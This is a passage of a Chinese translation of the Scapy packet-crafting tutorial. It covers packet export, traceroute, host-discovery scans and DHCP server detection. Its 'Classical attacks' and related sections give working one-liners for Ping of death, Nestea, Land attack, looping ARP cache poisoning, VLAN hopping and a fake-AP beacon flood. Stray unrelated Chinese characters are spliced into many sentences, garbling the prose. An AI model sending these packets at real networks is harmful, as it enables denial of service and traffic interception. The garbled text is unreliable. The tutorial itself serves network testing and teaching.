RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
導(dǎo)入和導(dǎo)出數(shù)據(jù)
PCAP
通惩市悖可以將數(shù)據(jù)包保存為pcap文件以備后用,或者是供其他的應(yīng)用程序使用:
>>> wrpcap("temp.cap",pkts)
還原之前保存的pcap文件:
>>> pkts = rdpcap("temp.cap")
或者
>>> pkts = rdpcap("temp.cap")
Hexdump
Scapy允許你以不同的十六進(jìn)制格式輸出編碼的數(shù)據(jù)包薛训。
使用hexdump()
函數(shù)會(huì)以經(jīng)典的hexdump格式輸出數(shù)據(jù)包:
>>> hexdump(pkt)
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
使用import_hexcap()
函數(shù)可以將以上的hexdump重新導(dǎo)入到Scapy中:
>>> pkt_hex = Ether(import_hexcap())
0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E.
0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|......
0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI..
0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................
0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$%
0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345
0060 36 37 67
>>> pkt_hex
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Hex string
使用str()
函數(shù)可以將整個(gè)數(shù)據(jù)包轉(zhuǎn)換成十六進(jìn)制字符串:
>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
通過選擇合適的起始層(例如Ether()
)媒吗,我們可以重新導(dǎo)入十六進(jìn)制字符串。
>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
Base64
使用export_object()
函數(shù)乙埃,Scapy可以數(shù)據(jù)包轉(zhuǎn)換成base64編碼的Python數(shù)據(jù)結(jié)構(gòu):
>>> pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
使用import_object()
函數(shù)闸英,可以將以上輸出重新導(dǎo)入到Scapy中:
>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
Sessions
最后可以使用save_session()
函數(shù)來保存所有的session變量:
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")
使用load_session()
函數(shù),在下一次你啟動(dòng)Scapy的時(shí)候你就能加載保存的session:
>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
Making tables
現(xiàn)在我們來演示一下make_table()
函數(shù)的功能介袜。該函數(shù)的需要一個(gè)列表和另一個(gè)函數(shù)(返回包含三個(gè)元素的元組)作為參數(shù)甫何。第一個(gè)元素是表格x軸上的一個(gè)值,第二個(gè)元素是y軸上的值遇伞,第三個(gè)原始則是坐標(biāo)(x,y)對(duì)應(yīng)的值辙喂,其返回結(jié)果為一個(gè)表格。這個(gè)函數(shù)有兩個(gè)變種赃额,make_lined_table()
和make_tex_table()
來復(fù)制/粘貼到你的LaTeX報(bào)告中加派。這些函數(shù)都可以作為一個(gè)結(jié)果對(duì)象的方法:
在這里,我們可以看到一個(gè)多機(jī)并行的traceroute(Scapy的已經(jīng)有一個(gè)多TCP路由跟蹤功能跳芳,待會(huì)兒可以看到):
>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3
5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178
這里有個(gè)更復(fù)雜的例子:從他們的IPID字段中識(shí)別主機(jī)芍锦。我們可以看到172.20.80.200只有22端口做出了應(yīng)答,而172.20.80.201則對(duì)所有的端口都有應(yīng)答飞盆,而且172.20.80.197對(duì)25端口沒有應(yīng)答娄琉,但對(duì)其他端口都有應(yīng)答。
>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0 4203 7021 - 11562
21 0 4204 7022 - 11563
22 0 4205 7023 11561 11564
25 0 0 7024 - 11565
53 0 4207 7025 - 11566
80 0 4028 7026 - 11567
你在使用TTL和顯示接收到的TTL等情況下吓歇,它可以很輕松地幫你識(shí)別網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)孽水。
Routing
現(xiàn)在Scapy有自己的路由表了,所以將你的數(shù)據(jù)包以不同于操作系統(tǒng)的方式路由:
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.1 eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.254 eth0
192.168.1.1 255.255.255.255 192.168.8.1 eth0
>>> conf.route.resync()
>>> conf.route
Network Netmask Gateway Iface
127.0.0.0 255.0.0.0 0.0.0.0 lo
192.168.8.0 255.255.255.0 0.0.0.0 eth0
0.0.0.0 0.0.0.0 192.168.8.1 eth0
Gnuplot
我們可以很容易地將收集起來的數(shù)據(jù)繪制成Gnuplot城看。(清確保你已經(jīng)安裝了Gnuplot-py和Gnuplot)例如女气,我們可以通過觀察圖案知道負(fù)載平衡器用了多少個(gè)不同的IP堆棧:
>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
TCP traceroute (2)
Scapy也有強(qiáng)大的TCP traceroute功能。并不像其他traceroute程序那樣测柠,需要等待每個(gè)節(jié)點(diǎn)的回應(yīng)才去下一個(gè)節(jié)點(diǎn)炼鞠,scapy會(huì)在同一時(shí)間發(fā)送所有的數(shù)據(jù)包缘滥。其缺點(diǎn)就是不知道什么時(shí)候停止(所以就有maxttl參數(shù)),其巨大的優(yōu)點(diǎn)就是谒主,只用了不到3秒朝扼,就可以得到多目標(biāo)的traceroute結(jié)果:
>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46
5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41
6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69
7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178
8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98
9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89
10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126
11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178
12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146
13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230
14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA
16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
最后一行實(shí)際上是該函數(shù)的返回結(jié)果:traceroute返回一個(gè)對(duì)象和無應(yīng)答數(shù)據(jù)包列表。traceroute返回的是一個(gè)經(jīng)典返回對(duì)象更加特殊的版本(實(shí)際上是一個(gè)子類)霎肯。我們可以將其保存以備后用擎颖,或者是進(jìn)行一些例如檢查填充的更深層次的觀察:
>>> result,unans=_
>>> result.show()
193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])
和其他返回對(duì)象一樣,traceroute對(duì)象也可以相加:
>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
195.101.94.25:80
1 192.168.8.1
2 82.251.4.254
3 213.228.4.254
4 212.27.50.169
5 212.27.50.162
6 193.252.161.97
7 193.252.103.86
8 193.252.103.77
9 193.252.101.1
10 193.252.227.245
12 195.101.94.25 SA
13 195.101.94.25 SA
14 195.101.94.25 SA
15 195.101.94.25 SA
16 195.101.94.25 SA
17 195.101.94.25 SA
18 195.101.94.25 SA
19 195.101.94.25 SA
20 195.101.94.25 SA
>>>
>>> r3=result+r2
>>> r3.show()
195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254
4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46
5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37
6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69
7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178
8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98
9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89
10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126
11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178
12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46
13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234
14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA
15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA
16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
Traceroute返回對(duì)象有一個(gè)非常實(shí)用的功能:他們會(huì)將得到的所有路線做成一個(gè)有向圖观游,并用AS組織路線搂捧。你需要安裝graphviz。在默認(rèn)情況下會(huì)使用ImageMagick顯示圖形懂缕。
>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46...
1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16...
2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251...
3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22...
[...]
>>> res.graph() # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp") # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file
如果你安裝了VPython异旧,你就可以用3D來表示traceroute。右邊的按鈕是旋轉(zhuǎn)圖案提佣,中間的按鈕是放大縮小,左邊的按鈕是移動(dòng)圖案荤崇。如果你單擊一個(gè)球拌屏,它的IP地址就會(huì)出現(xiàn)/消失。如果你按住Ctrl單擊一個(gè)球术荤,就會(huì)掃描21,22,23,25,80和443端口倚喂,并顯示結(jié)果:
>>> res.trace3D()
Wireless frame injection
frame injection的前提是你的無線網(wǎng)卡和驅(qū)動(dòng)得正確配置好。
$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up
你可以造一個(gè)FakeAP:
>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
Dot11Beacon(cap="ESS")/
Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
Dot11Elt(ID="DSset",info="\x03")/
Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)
0x02 Simple one-liners
ACK Scan
使用Scapy強(qiáng)大的數(shù)據(jù)包功能瓣戚,我們可以快速地復(fù)制經(jīng)典的TCP掃描端圈。例如,模擬ACK Scan將會(huì)發(fā)送以下字符串:
>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
我們可以在有應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)未過濾的端口:
>>> for s,r in ans:
... if s[TCP].dport == r[TCP].sport:
... print str(s[TCP].dport) + " is unfiltered"
同樣的子库,可以在無應(yīng)答的數(shù)據(jù)包中發(fā)現(xiàn)過濾的端口:
>>> for s in unans:
... print str(s[TCP].dport) + " is filtered"
Xmas Scan
可以使用以下的命令來啟動(dòng)Xmas Scan:
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
有RST響應(yīng)則意味著目標(biāo)主機(jī)的對(duì)應(yīng)端口是關(guān)閉的舱权。
IP Scan
較低級(jí)的IP Scan可以用來枚舉支持的協(xié)議:
>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
ARP Ping
在本地以太網(wǎng)絡(luò)上最快速地發(fā)現(xiàn)主機(jī)的方法莫過于ARP Ping了:
>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
用以下命令可以來審查應(yīng)答:
>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy還包含內(nèi)建函數(shù)arping()
,該函數(shù)實(shí)現(xiàn)的功能和以上的兩個(gè)命令類似:
>>> arping("192.168.1.*")
ICMP Ping
可以用以下的命令來模擬經(jīng)典的ICMP Ping:
>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
用以下的命令可以收集存活主機(jī)的信息:
>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
TCP Ping
如果ICMP echo請(qǐng)求被禁止了,我們依舊可以用不同的TCP Pings仑嗅,就像下面的TCP SYN Ping:
>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
對(duì)我們的刺探有任何響應(yīng)就意味著為一臺(tái)存活主機(jī)宴倍,可以用以下的命令收集結(jié)果:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
UDP Ping
如果其他的都失敗了,還可以使用UDP Ping仓技,它可以讓存活主機(jī)產(chǎn)生ICMP Port unreachable錯(cuò)誤鸵贬。你可以挑選任何極有可能關(guān)閉的端口,就像端口0:
>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
同樣的脖捻,使用以下命令收集結(jié)果:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Classical attacks
Malformed packets:
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping of death (Muuahahah):
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Nestea attack:
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Land attack (designed for Microsoft Windows):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
ARP cache poisoning
這種攻擊可以通過VLAN跳躍攻擊投毒ARP緩存阔逼,使得其他客戶端無法加入真正的網(wǎng)關(guān)地址。
經(jīng)典的ARP緩存投毒:
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
使用double 802.1q封裝進(jìn)行ARP緩存投毒:
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
TCP Port Scanning
發(fā)送一個(gè)TCP SYN到每一個(gè)端口上地沮。等待一個(gè)SYN-ACK或者是RST或者是一個(gè)ICMP錯(cuò)誤:
>>> res,unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
將開放的端口結(jié)果可視化:
>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
IKE Scanning
我們?cè)噲D通過發(fā)送ISAKMP Security Association proposals來確定VPN集中器嗜浮,并接收應(yīng)答:
>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
可視化結(jié)果列表:
>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
Advanced traceroute
TCP SYN traceroute
>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
結(jié)果會(huì)是:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
UDP traceroute
相比較TCP來說羡亩, traceroute一個(gè)UDP應(yīng)用程序是不可靠的,因?yàn)閠a沒有握手的過程周伦。我們需要給一個(gè)應(yīng)用性的有效載荷(DNS夕春,ISAKMP,NTP等)來得到一個(gè)應(yīng)答:
>>> res,unans = sr(IP(dst="target", ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))
我們可以想象得到一個(gè)路由器列表的結(jié)果:
>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
DNS traceroute
我們可以在traceroute()
函數(shù)中設(shè)置l4
參數(shù)為一個(gè)完整的數(shù)據(jù)包专挪,來實(shí)現(xiàn)DNS traceroute:
>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
Etherleaking
>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
ICMP leaking
這是一個(gè)Linux2.0的一個(gè)bug:
>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
VLAN hopping
在非常特殊的情況下及志,使用double 802.1q封裝,可以將一個(gè)數(shù)據(jù)包跳到另一個(gè)VLAN中:
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
Wireless sniffing
以下的命令將會(huì)像大多數(shù)的無線嗅探器那樣顯示信息:
>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
以上命令會(huì)產(chǎn)生類似如下的輸出:
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
0x03 Recipes
Simplistic ARP Monitor
以下的程序使用了sniff()
函數(shù)的回調(diào)功能(prn參數(shù))寨腔。將store參數(shù)設(shè)置為0速侈,就可以使sniff()
函數(shù)不存儲(chǔ)任何數(shù)據(jù)(否則會(huì)存儲(chǔ)),所以就可以一直嗅探下去迫卢。filter參數(shù)
則用于在高負(fù)荷的情況下有更好的性能:filter會(huì)在內(nèi)核中應(yīng)用倚搬,而且Scapy就只能嗅探到ARP流量。
#! /usr/bin/env python
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=arp_monitor_callback, filter="arp", store=0)
Identifying rogue DHCP servers on your LAN
Problem
你懷疑有人已經(jīng)在你的LAN中安裝了額外的未經(jīng)授權(quán)的DHCP服務(wù)器-無論是故意的還是有意的乾蛤。因此你想要檢查是否有任何活動(dòng)的DHCP服務(wù)器每界,并確定他們的IP和MAC地址。
Solution
使用Scapy發(fā)送一個(gè)DHCP發(fā)現(xiàn)請(qǐng)求家卖,并分析應(yīng)答:
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets
在這種情況下眨层,我們得到了兩個(gè)應(yīng)答,所以測(cè)試網(wǎng)絡(luò)上有兩個(gè)活動(dòng)的DHCP服務(wù)器:
